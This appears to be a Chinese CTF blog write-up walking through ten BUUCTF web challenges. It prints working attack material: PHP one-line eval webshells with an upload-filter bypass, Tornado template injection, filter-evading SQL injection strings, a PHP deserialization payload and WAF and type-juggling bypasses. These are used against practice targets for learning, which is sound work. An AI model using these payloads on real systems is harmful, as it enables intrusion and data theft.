一、[极客大挑战 2019]Http
打开靶机，出现以下页面
查看源代码
发现Secret.php，访问后出现以下页面
接着我们使用bp进行抓包
在请求头中添加
Referer:https://Sycsecret.buuoj.cn
字段发送请求，出现以下页面
根据提示更改User-Agent为
User-Agent: Syclover
发送请求，出现以下页面
提示要是来自本地的访问请求，联想到127.0.0.1，需要
X-Forwarded-For: 127.0.0.1
X-Forwarded-For（XFF）是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
出现flag
flag为
flag{8121414c-8ed4-490e-9d34-351f08b4504b}
二、[极客大挑战 2019]Knife
打开靶机，出现以下页面
使用菜刀进行连接
连接成功后，在/flag目录下获得flag
flag为
flag{b8b99cdb-fdac-4ce1-bec1-d647e1ee47bb}
同理可得，也可用蚁剑进行此操作
三、[极客大挑战 2019]Upload
打开靶机，出现以下页面
首先我们尝试上传木马文件
<?php @eval($_POST['yy']); ?>
我们先将一句话木马写在记事本后，将后缀名改为.jpg
提交后出现以下页面，不能含有<?，看来是被过滤了
我们尝试换个一句话木马上传
GIF89a
<script language="php">eval($_POST['shell']);</script>
再次上传后出现以下页面，说明上传成功
接着我们进行抓包
经过多次尝试我们发现，文件的后缀不能为php，文件绕过的格式也有很多格式php,php3,php4,php5,phtml，但是经过尝试后发现只有.phtml此后缀名可绕过，其余均无法绕过，所以我们将上传文件yy.jpg的后缀改为phtml
查看/upload
找到我们上传的文件yy.phtml
查看/upload/yy.phtml
使用蚁剑进行连接，连接成功后
在/flag目录下找到flag
flag为
flag{27541e51-6965-4231-89b8-e9071b3b8b46}
四、[护网杯 2018]easy_tornado
打开靶机，出现以下页面
挨着点击三个文件查看
/flag.txt
/welcome.txt
render（）是tornado里的函数，可以生成html模板。是一个渲染函数 ，就是一个公式，能输出前端页面的公式。 tornado是用Python编写的Web服务器兼Web应用框架
/hints.txt
/file?filename=/fllllllllllllag&filehash={{1}}
模板注入必须通过传输型如{{xxx}}的执行命令
通过msg拿到cookie_secret的值
/error?msg={{handler.settings}}
提示信息，得到cookie_secret:750eeb79-5711-4775-8086-ed342d0f6b67
然后结合md5(cookie_secret+md5(filename))
即md5('750eeb79-5711-4775-8086-ed342d0f6b67'+md5('/fllllllllllllag'))
filename=/fllllllllllllag的md5：3bf9f6cf685a6dd8defadabfb41a03a1
/file?filename=/fllllllllllllag&filehash=5c912c00167c1f6003856e86486e3622
出现flag
flag为：
flag{98c1fb2f-e79a-45d5-8d86-dfef15dbc063}
五、[极客大挑战 2019]BabySQL
打开靶机，出现以下页面
我们看到这类题首先想到使用万能密码，出现以下页面
/check.php?username=admin' or '1'='1&password=1
or关键字被过滤，尝试使用双写进行绕过
/check.php?username=admin' %23&password=1
接着进行常规的sql注入，这里先进行爆库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23
查找库
/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23
看到ctf后，我们猜想flag在里面，因此我们尝试将其进行爆破
出现flag字样，为查找里面相应的数据，我们将其进行爆破
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23
出现flag
flag为：
flag{16a4f98d-23f1-4ad1-ae30-d4de7babfac9}
六、[极客大挑战 2019]PHP
打开靶机，出现以下页面
提示备份网站，直接扫描目录，得到www.zip
解压得到class.php,index.php,flag.php等源码
首先我们将flag.php打开查看一下，没有flag，我们将其他几个文件也进行查看
在index.php文件中发现代码第39行unserialize可能存在反序列化漏洞
序列化：函数为serialize()，把复杂的数据类型压缩到一个字符串中 数据类型可以是数组，字符串，对象等
反序列化：函数为unserialize()，将字符串转换成变量或对象的过程
常用的内置方法：
__construct()：创建对象时初始化，当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction()：结束时销毁对象，当一个对象销毁时被调用
在class.php文件中发现代码中含有__destruct，__construct，__wakeup可以判断存在反序列化漏洞
执行__destruct()时会输出flag，那么我们需要一个Name对象，所以我们传递一个Name对象序列化后的值
根据__destruct()可以得知，属性password==100，username===admin时可以得到flag
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
echo(serialize($a));
?>
通过运行得到序列化后的字符串
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
__wakeup()会将username重新赋值为“guest”,所以我们需要想办法将__wakeup()函数绕过。在反序列化字符串时，属性个数的值大于实际属性个数时，会跳过 __wakeup()函数的执行
原本：O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过：O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在序列化字符串中，私有属性前其实是有两个’\0’的，分别在类名前和属性名前，比如在vscode里执行这段序列化代码就会出现显示不全的情况，所以我们在传参时要加上’%00’
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
出现flag
flag为：
flag{4c1b5bd0-9506-451e-9792-5a43a4273914}
七、[ACTF2020 新生赛]BackupFile
打开靶机，出现以下页面
查看源码后，发现并没有什么，但是我们根据题目Backup file，翻译成中文就是备份文件的意思
通个扫描发现备份文件/index.php.bak，下载该备份文件信息后，打开发现是源码
include_once "flag.php";：包含flag文件
$key = $_GET['key'];：需要一个参数key
if(!is_numeric($key))：对key做过滤，
is_numeric：如果指定的变量是数字和数字字符串则返回 TRUE，否则返回 FALSE，注意浮点型返回 1，即 TRUE。
if($key == $str)：将key和str做个了比较，这里是弱类型比较。
如果key为数字时，在做==比较时，str字符串自动变为数字，即str=123
要求GET方式传递一个Key值，并且Key必须为数字且等于123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3这一字符串
感觉是考PHP的弱类型特性，int和string是无法直接比较的，php会将string转换成int然后再进行比较，转换成int比较时只保留数字，第一个字符串之后的所有内容会被截掉
根据上述条件，构造出payload：
/index.php?key=123
出现flag
flag为：
flag{4045b91f-9e38-4715-ad81-912ee1656071}
八、[RoarCTF 2019]Easy Calc
打开靶机，出现以下页面
我们打开源代码
尝试访问这个calc.php，发现多行匹配过滤了一部分特殊符号，但是实际访问时，发现字母全部被拦截了，看来是上了层WAF
绕过waf对num的检测，（num前面需要加上空格）
利用PHP的字符串解析特性
/calc.php? num=phpinfo()
成功绕过waf，对于waf的绕过，由于php在执行的时候会自动忽略掉空格字符，包含换行回车等，而waf不可以，所以可以构造一个payload为
利用scandir()列出目录和文件，var_dump()用于输出
/calc.php? num=var_dump(scandir(chr(47)))
var_dump() 函数用于输出变量的相关信息。 var_dump() 函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组将递归展开值，通过缩进显示其结构。
var_dump()相当于echo
scandir()扫描目录下的文件，scandir(/)相当于ls /
chr(47) 是 / 的ASCII编码
尝试访问flag文件，出现flag
一、利用file_get_contents()读取并输出文件内容
/calc.php/=chr(47)，f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103) ? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
二、
/calc.php? num=var_dump(include(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
flag为：
flag{fb285683-4047-44a0-a696-b46023eb42d2}
九、[极客大挑战 2019]BuyFlag
打开靶机，出现以下页面
查看源代码，出现两个php（index.php，pay.php）
index.php
pay.php
查看源代码
提示money=100000000，password == 404
is_numeric来判断password是否为数字或数字字符串，导致我们给password传入的参数只能为字符串类型的
is_numeric()函数检测字符串是否只由数字组成，如果字符串中只包括数字，就返回Ture，否则返回False
$password == 404，在PHP中==是一种弱类型比较，即只取字符串中开头的整数部分进行比较。
必须提交money和password 两个参数
password不可以为纯数字，但是它要与404相等
isset()函数是用来检验变量是否被设置的
使用bp抓包
变更请求方法
将Cookie：user=0改为1，表示是学生
然后添加money和password的值
password=404 &money=100000000
password=404a或password = 404%20(相当于在404后面加了一个空格，其他空白字符也可以绕过)就可以了，既绕过了is_numeric()又完成了password的匹配
回显数字太长，就换一个表示方式
1、科学计数法绕过money=1e9
2、数组绕过money[]=1
出现flag
flag为：
flag{c8729030-540e-4306-878b-d5ced3d0ce6c}
十、[BJDCTF2020]Easy MD5
打开靶机，出现以下页面
使用bp进行抓包，出现提示
Hint: select * from 'admin' where password=md5($pass,true)
md5（string，raw）
string：必需，要计算的字符串
raw：可选
默认不写为FALSE。32位16进制的字符串
TRUE。16位原始二进制格式的字符串
Hint是md5类型的sql注入
password经过md5加密，有true参数以字符串形式显示出来
首先我们要找到一个字符串，这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入
取32位16进制的md5值里带有276f7227这个字段的
ffifdyop经过md5加密后为276f722736c95d99e921722cf9ed621c
ffifdyop经过md5加密后，使用hex解码可以转换为'or'
MySQL默认将十六进制数转换为hex()
..md5的强连接和弱连接使用数组绕过
输入框内输入ffifdyop
出现以下页面
进行抓包或者是查看源代码，出现以下内容
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
根据返回的信息的提示，需要绕过的是md5的弱等于，它的要求是变量1和变量2要求不相等，然而，通过md5加密后的结果要进行相等
使用数组进行绕过
/levels91.php?a[]=1&b[]=2
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
使用数组绕过
param1[]=1¶m2[]=2
变更请求方法，出现flag
双等号（==）：两个等号称为等值符，当等号两边的值为相同数据类型时，直接比较值是否相同，当类型不同时会发生数据类型的转换，转换为相同的类型后再进行比较。（通常在if判断语句中使用）
（1）如果等号两边是boolean、string、number三者中任意两者进行比较时，优先转换为数字进行比较。
（ 2）如果等号两边出现了null或undefined，null和undefined除了和自己相等，就彼此相等
三等号（===）：三个等号称为绝对等同符，既要判断数值也要判断数据类型是否相等，当等号两边的值为相同数据类型时，直接比较等号两边的值，值相同则返回true；若等号两边的值类型不同时直接返回false。
flag为：
flag{80ec0969-e689-4639-b761-becb307188af}
扫一扫
936
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
